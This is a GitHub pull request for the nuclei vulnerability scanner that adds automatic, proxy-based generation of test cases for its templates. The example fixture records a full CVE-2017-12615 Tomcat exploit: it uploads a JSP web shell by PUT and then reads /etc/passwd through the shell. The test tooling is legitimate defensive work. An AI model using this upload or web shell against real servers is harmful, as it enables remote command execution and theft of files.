Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: added auto proxy based test generation for templates #5014

Open
wants to merge 7 commits into
base: dev
Choose a base branch
from

Conversation

Ice3man543
Copy link
Member

@Ice3man543 Ice3man543 commented Apr 8, 2024

Proposed changes

Closes #4996

Added automated http protocol test generation by using a proxy (embedded proxify).
Added two new flags -

   -agt, -autogenerate-tests  enable autogeneration of nuclei test-cases (http only now)
   -rts, -run-tests           run generated nuclei test-cases

To generate a test case, use the below command -

./nuclei -id CVE-2017-12615 -agt -u http://localhost:8080                     11:17:57 PM

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3

                projectdiscovery.io

[INF] Using 127.0.0.1:53932 as proxy server for automatic test-generation
[INF] Current nuclei version: v3.2.3 (latest)
[INF] Current nuclei-templates version: v9.8.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 77
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2017-12615] [http] [high] http://localhost:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
[INF] Writing test template=CVE-2017-12615 and target=http://localhost:8080 to CVE-2017-12615.yaml.nuclei_test

This writes a file in the same directory as template with .nuclei_test extension.

Example -

requests:
- request: |
    PUT /poc.jsp/ HTTP/1.1
    Host: redacted.nuclei-test.domain:8080
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Firefox/99.0
    Content-Length: 575
    Accept: */*
    Accept-Encoding: gzip
    Accept-Language: en
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    
    <%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                    out.println(disr);
                    disr = dis.readLine();
                    }
            }
    %>
  response: |+
    HTTP/1.1 204 
    Connection: close
    Content-Length: 0
    Date: Mon, 08 Apr 2024 17:48:34 GMT

  protocol: http
- request: |+
    GET /poc.jsp?cmd=cat+%2Fetc%2Fpasswd HTTP/1.1
    Host: redacted.nuclei-test.domain:8080
    User-Agent: Mozilla/5.0 (X11; CrOS aarch64 15236.9.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.1 Safari/537.36
    Accept: */*
    Accept-Encoding: gzip
    Accept-Language: en
    Connection: close

  response: |
    HTTP/1.1 200 
    Connection: close
    Content-Length: 999
    Content-Type: text/html;charset=ISO-8859-1
    Date: Mon, 08 Apr 2024 17:48:34 GMT
    Set-Cookie: JSESSIONID=C935B2CCECF9D4E339E5D4D14D271B76; Path=/; HttpOnly
    
    
    Command: cat /etc/passwd<BR>
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/bin/false
    messagebus:x:101:101::/var/run/dbus:/bin/false
    
  protocol: http
template_id: CVE-2017-12615

This supports interactsh, multi-step requests etc as well. The mocking is done entirely locally.

To run the pre-generated test, run it as below

./nuclei -t  ~/nuclei-templates/http/cves/2017/CVE-2017-12615.yaml -rts       11:19:13 PM

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3

                projectdiscovery.io

[INF] Current nuclei version: v3.2.3 (latest)
[INF] Current nuclei-templates version: v9.8.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 77
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Running nuclei-templates mock-generated tests
[INF] Loaded 1 test files for nuclei-templates
[CVE-2017-12615] [http] [high] http://127.0.0.1:54016/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
[INF] All tests passed successfully

Checklist

  • Pull request is created against the dev branch
  • All checks passed (lint, unit/integration/regression tests etc.) with my changes
  • I have added tests that prove my fix is effective or that my feature works
  • I have added necessary documentation (if appropriate)

@Ice3man543 Ice3man543 marked this pull request as draft April 8, 2024 11:15
@Ice3man543 Ice3man543 marked this pull request as ready for review April 8, 2024 16:49
@Ice3man543 Ice3man543 self-assigned this Apr 9, 2024
@ehsandeep ehsandeep requested review from dogancanbakir and removed request for Mzack9999 April 17, 2024 12:21
Copy link
Member

@dogancanbakir dogancanbakir left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lgtm -left -optional- comments

@@ -415,6 +415,11 @@ on extensive configurability, massive extensibility and ease of use.`)
flagSet.BoolVarP(&options.PreFetchSecrets, "prefetch-secrets", "ps", false, "prefetch secrets from the secrets file"),
)

flagSet.CreateGroup("tests", "Tests",
flagSet.BoolVarP(&options.AutogenerateTests, "autogenerate-tests", "agt", false, "enable autogeneration of nuclei test-cases (http only now)"),
flagSet.BoolVarP(&options.RunNucleiTests, "run-tests", "rts", false, "run generated nuclei test-cases"),
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We can rename it to something more descriptive, such as RunAutoGeneratedTests or RunTemplateTests

@@ -508,6 +513,14 @@ func (r *Runner) RunEnumeration() error {
return nil // exit
}
store.Load()

if len(store.Templates()) > 1 && r.options.AutogenerateTests {
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We can also check whether the given template is http or not.

Copy link
Member

@ehsandeep ehsandeep left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

merge conflict

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Implement unit tests for nuclei templates validation
3 participants